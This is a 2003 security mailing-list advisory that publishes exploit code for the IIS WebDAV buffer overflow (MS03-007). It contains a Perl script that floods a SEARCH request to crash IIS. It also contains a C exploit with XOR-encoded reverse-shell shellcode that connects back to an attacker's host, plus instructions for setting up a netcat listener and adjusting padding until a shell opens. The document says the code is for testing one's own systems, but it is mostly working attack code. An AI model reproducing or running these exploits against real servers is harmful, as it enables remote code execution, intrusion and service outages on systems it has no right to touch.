[EXPL] WebDAV Exploit Code Released
From: support@securiteam.com
Date: 03/24/03
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From: support@securiteam.com To: list@securiteam.com Date: 24 Mar 2003 21:01:23 +0200
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WebDAV Exploit Code Released
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/windowsntfocus/5FP0B2K9FY.html> Unchecked
Buffer in Windows Component could Cause Web Server Compromise (WebDAV) and
<http://www.securiteam.com/windowsntfocus/5DP0R0U9FY.html> New Attack
Vectors and a Vulnerability Dissection of MS03-007, a serious
vulnerability in WebDAV allows a remote attacker to cause the server to
execute arbitrary code. The following exploit codes can be used to test
your system for the mentioned vulnerability.
DETAILS
Generic Exploit:
The following exploit code will jump to EIP address of unicode equivelent
of 0x41414141 (e.g. 0x0041004100)
#!/usr/bin/perl -w
# Tested on :
# W2K SP3 + the fix -> IIS issues an error
# W2K SP3 -> IIS temporarily crashes
# W2K SP2 -> IIS temporarily crashes
# W2K SP1 -> IIS does not crash, but issues a message
# about an internal error
#
# W2K -> IIS does not crash, but issues a message about
# an internal error
#
# Microsoft Security Bulletin MS03-007
#
# DISCLAIMER:
# The information in this bulletin is provided "AS IS" without warranty of
any kind.
# In no event shall we be liable for any damages whatsoever including
direct, indirect,
# incidental, consequential, loss of business profits or special damages.
#
# Coded by Matrix - www.infowarfare.dk
#
# If you put a debugger on the Inetinfo process you can see the result,
# And sorry about the code could be much more nice, but ***, it works =)
#
use strict;
use IO::Socket;
use LWP::Simple;
# Globals Go Here.
my $host; # Host being probed.
my $port; # Webserver port.
my $Buffer; # A x 65535
my $XML***; # XML Request
$Buffer = "A" x 65535;
$Host_Header = "Host: 127.0.0.1\r\nContent-type:
text/xml\r\nContent-Length: 133\r\n";
$XML*** = "<?xml version=\"1.0\"?> \r\n<g:searchrequest
xmlns:g=\"DAV:\">\r\n<g:sql>\r\nSelect \"DAV:displayname\" from
scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
# SUBROUTINES GO HERE.
&intro;
&scan;
&exit; # Play safe with this .
sub intro {
&host;
sleep 3;
};
# host subroutine.
sub host {
system('cls');
print "\n WebDAV OverFlow for IIS 5.0 by Matrix.";
print "\n http://www.infowarfare.dk";
print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "\n Host : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
print "\n Port : ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
}; # end host subroutine.
# scan subroutine.
sub scan {
print "\n\n";
print "\nIIS 5.0 WebDAV BufferOverflow attack - $host on port $port ...";
print "\n";
&connect;
};
# Connect subroutine.
sub connect {
my $connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Could not
connect to
$host \n";
$connection -> autoflush(1);
# It is here we put it all together and Flush the Buffer
print $connection "SEARCH /$Buffer
HTTP/1.1\r\n$Host_Header\r\n$XML***\r\n";
close $connection;
}; # end connect subroutine.
# exit subroutine.
sub exit{
print "\n\n\n";
exit;
};
Shellcode Exploit:
/*******************************************************************/
/* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */
/* --------------------------------------------------------------- */
/* this is the exploit for ntdll.dll through WebDAV. */
/* run a netcat ex: nc -L -vv -p 666 */
/* wb server.com your_ip 666 0 */
/* the shellcode is a reverse remote shell */
/* you need to pad a bit.. the best way I think is launching */
/* the exploit with pad = 0 and after that, the server will be */
/* down for a couple of seconds, now retry with pad at 1 */
/* and so on..pad 2.. pad 3.. if you haven't the shell after */
/* something like pad at 10 I think you better to restart from */
/* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */
/* on all the others servers it was at 2,3,4, etc..sometimes */
/* you can have the force with you, and get the shell in 1 try */
/* sometimes you need to pad more than 10 times ;) */
/* the shellcode was coded by myself, it is SEH + ScanMem to */
/* find the famous offsets (GetProcAddress).. */
/* I know I code like a pig, my english sucks, and my tech too */
/* it is my first exploit..and my first shellcode..sorry :P */
/* if you have comments feel free to mail me at: */
/* mailto: kralor@coromputer.net */
/* or visit us at www.coromputer.net . You can speak with us */
/* at IRC undernet channel #coromputer */
/* ok now the greetz: */
/* [El0d1e] to help me find some information about the bug :) */
/* tuck_ to support me ;) */
/* and all my friends in coromputer crew! hein les poulets! =) */
/*******************************************************************/
#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
char shellc0de[] =
"\x55\x8b\xec\x33\xc9\x53\x56\x57\x8d\x7d\xa2\xb1\x25\xb8\xcc\xcc"
"\xcc\xcc\xf3\xab\xeb\x09\xeb\x0c\x58\x5b\x59\x5a\x5c\x5d\xc3\xe8"
"\xf2\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\xb5\x01\x80\x33"
"\x95\x43\xe2\xfa\x66\x83\xeb\x67\xfc\x8b\xcb\x8b\xf3\x66\x83\xc6"
"\x46\xad\x56\x40\x74\x16\x55\xe8\x13\x00\x00\x00\x8b\x64\x24\x08"
"\x64\x8f\x05\x00\x00\x00\x00\x58\x5d\x5e\xeb\xe5\x58\xeb\xb9\x64"
"\xff\x35\x00\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x48\x66\x81"
"\x38\x4d\x5a\x75\xdb\x64\x8f\x05\x00\x00\x00\x00\x5d\x5e\x8b\xe8"
"\x03\x40\x3c\x8b\x78\x78\x03\xfd\x8b\x77\x20\x03\xf5\x33\xd2\x8b"
"\x06\x03\xc5\x81\x38\x47\x65\x74\x50\x75\x25\x81\x78\x04\x72\x6f"
"\x63\x41\x75\x1c\x81\x78\x08\x64\x64\x72\x65\x75\x13\x8b\x47\x24"
"\x03\xc5\x0f\xb7\x1c\x50\x8b\x47\x1c\x03\xc5\x8b\x1c\x98\x03\xdd"
"\x83\xc6\x04\x42\x3b\x57\x18\x75\xc6\x8b\xf1\x56\x55\xff\xd3\x83"
"\xc6\x0f\x89\x44\x24\x20\x56\x55\xff\xd3\x8b\xec\x81\xec\x94\x00"
"\x00\x00\x83\xc6\x0d\x56\xff\xd0\x89\x85\x7c\xff\xff\xff\x89\x9d"
"\x78\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x33\xc9\x51\x51\x51"
"\x51\x41\x51\x41\x51\xff\xd0\x89\x85\x94\x00\x00\x00\x8b\x85\x7c"
"\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x83\xc6\x08\x6a\x10\x56"
"\x8b\x8d\x94\x00\x00\x00\x51\xff\xd0\x33\xdb\xc7\x45\x8c\x44\x00"
"\x00\x00\x89\x5d\x90\x89\x5d\x94\x89\x5d\x98\x89\x5d\x9c\x89\x5d"
"\xa0\x89\x5d\xa4\x89\x5d\xa8\xc7\x45\xb8\x01\x01\x00\x00\x89\x5d"
"\xbc\x89\x5d\xc0\x8b\x9d\x94\x00\x00\x00\x89\x5d\xc4\x89\x5d\xc8"
"\x89\x5d\xcc\x8d\x45\xd0\x50\x8d\x4d\x8c\x51\x6a\x00\x6a\x00\x6a"
"\x00\x6a\x01\x6a\x00\x6a\x00\x83\xc6\x09\x56\x6a\x00\x8b\x45\x20"
"\xff\xd0"
"CreateProcessA\x00LoadLibraryA\x00ws2_32.dll\x00WSASocketA\x00"
"connect\x00\x02\x00\x02\x9A\xC0\xA8\x01\x01\x00"
"cmd" // don't change anything..
"\x00\x00\xe7\x77" // offsets of kernel32.dll for some win ver..
"\x00\x00\xe8\x77"
"\x00\x00\xf0\x77"
"\x00\x00\xe4\x77"
"\x00\x88\x3e\x04" // win2k3
"\x00\x00\xf7\xbf" // win9x =P
"\xff\xff\xff\xff";
int test_host(char *host)
{
char search[100]="";
int sock;
struct hostent *heh;
struct sockaddr_in hmm;
char buf[100] ="";
if(strlen(host)>60) {
printf("error: victim host too long.\r\n");
return 1;
}
if ((heh = gethostbyname(host))==0){
printf("error: can't resolve '%s'",host);
return 1;
}
sprintf(search,"SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n",host);
hmm.sin_port = htons(80);
hmm.sin_family = AF_INET;
hmm.sin_addr = *((struct in_addr *)heh->h_addr);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("error: can't create socket");
return 1;
}
printf("Checking WebDav on '%s' ... ",host);
if ((connect(sock, (struct sockaddr *) &hmm, sizeof(hmm))) == -1){
printf("CONNECTING_ERROR\r\n");
return 1;
}
send(sock,search,strlen(search),0);
recv(sock,buf,sizeof(buf),0);
if(buf[9]=='4'&&buf[10]=='1'&&buf[11]=='1')
return 0;
printf("NOT FOUND\r\n");
return 1;
}
void help(char *program)
{
printf("syntax: %s <victim_host> <your_host> <your_port>
[padding]\r\n",program);
return;
}
void banner(void)
{
printf("\r\n\t [Crpt] ntdll.dll exploit trough WebDAV by kralor
[Crpt]\r\n");
printf("\t\twww.coromputer.net && undernet #coromputer\r\n\r\n");
return;
}
void main(int argc, char *argv[])
{
WSADATA wsaData;
unsigned short port=0;
char *port_to_shell="", *ip1="", data[50]="";
unsigned int i,j;
unsigned int ip = 0 ;
int s, PAD=0x10;
struct hostent *he;
struct sockaddr_in crpt;
char buffer[65536] ="";
char request[80000]; // huuuh, what a mess! :)
char content[] =
"<?xml version=\"1.0\"?>\r\n"
"<g:searchrequest xmlns:g=\"DAV:\">\r\n"
"<g:sql>\r\n"
"Select \"DAV:displayname\" from scope()\r\n"
"</g:sql>\r\n"
"</g:searchrequest>\r\n";
banner();
if((argc<4)||(argc>5)) {
help(argv[0]);
return;
}
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error starting winsock..");
return;
}
if(test_host(argv[1]))
return;
if(argc==5)
PAD+=atoi(argv[4]);
printf("FOUND\r\nexploiting ntdll.dll through WebDav [ret:
0x00%02x00%02x]\r\n",PAD,PAD);
ip = inet_addr(argv[2]); ip1 = (char*)&ip;
shellc0de[448]=ip1[0]; shellc0de[449]=ip1[1]; shellc0de[450]=ip1[2];
shellc0de[451]=ip1[3];
port = htons(atoi(argv[3]));
port_to_shell = (char *) &port;
shellc0de[446]=port_to_shell[0];
shellc0de[447]=port_to_shell[1];
// we xor the shellcode [xored by 0x95 to avoid bad chars]
__asm {
lea eax, shellc0de
add eax, 0x34
xor ecx, ecx
mov cx, 0x1b0
wah:
xor byte ptr[eax], 0x95
inc eax
loop wah
}
if ((he = gethostbyname(argv[1]))==0){
printf("error: can't resolve '%s'",argv[1]);
return;
}
crpt.sin_port = htons(80);
crpt.sin_family = AF_INET;
crpt.sin_addr = *((struct in_addr *)he->h_addr);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("error: can't create socket");
return;
}
printf("Connecting... ");
if ((connect(s, (struct sockaddr *) &crpt, sizeof(crpt))) == -1){
printf("ERROR\r\n");
return;
}
// No Operation.
for(i=0;i<sizeof(buffer);buffer[i]=(char)0x90,i++);
// fill the buffer with the shellcode
for(i=64000,j=0;i<sizeof(buffer)&&j<sizeof(shellc0de)-1;buffer[i]=shellc0de[j],i++,j++);
// well..it is not necessary..
for(i=0;i<2500;buffer[i]=PAD,i++);
/* we can simply put our ret in this 2 offsets.. */
//buffer[2086]=PAD;
//buffer[2085]=PAD;
buffer[sizeof(buffer)]=0x00;
memset(request,0,sizeof(request));
memset(data,0,sizeof(data));
sprintf(request,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type:
text/xml\r\nContent-Length: ",buffer,argv[1]);
sprintf(request,"%s%d\r\n\r\n",request,strlen(content));
printf("CONNECTED\r\nSending evil request... ");
send(s,request,strlen(request),0);
send(s,content,strlen(content),0);
printf("SENT\r\n");
recv(s,data,sizeof(data),0);
if(data[0]!=0x00) {
printf("Server seems to be patched.\r\n");
printf("data: %s\r\n",data);
} else
printf("Now if you are lucky you will get a shell.\r\n");
closesocket(s);
return;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:kralor@coromputer.net>
kralor and <mailto:matrix@infowarfare.dk> matrix.
========================================
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====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
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